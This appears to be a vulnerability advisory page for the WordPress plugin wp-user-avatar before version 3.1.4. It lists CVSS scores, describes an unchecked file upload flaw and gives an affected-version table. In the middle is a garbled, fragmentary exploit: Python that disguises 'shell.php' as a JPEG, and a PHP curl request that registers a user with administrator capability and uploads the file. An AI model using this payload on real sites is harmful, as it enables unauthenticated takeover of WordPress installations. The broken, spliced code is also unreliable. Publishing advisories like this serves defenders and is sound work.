9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
There is functionality in the plugin to add file uploads to user registrations and profile updates that had no file type checking in place making it possible for arbitrary files to be uploaded.
fh = open(‘shell.php’, ‘wb’) fh.write(b’\xFF\xD8\xFF\xE0’ + b’') fh.close ‘Hax0r’, ‘reg_email’ => ‘[email protected]’, ‘reg_password’ => ‘password’, ‘reg_password_present’ => ‘true’, ‘reg_first_name’ => ‘Hax0r’, ‘reg_last_name’ => ‘hack’, ‘wp_capabilities[administrator]’ => ‘1’, ‘action’ => ‘pp_ajax_signup’, ‘melange_id’ => ‘’, ‘files’ => $cFile, ]); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
CPE | Name | Operator | Version |
---|---|---|---|
wp-user-avatar | lt | 3.1.4 |
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P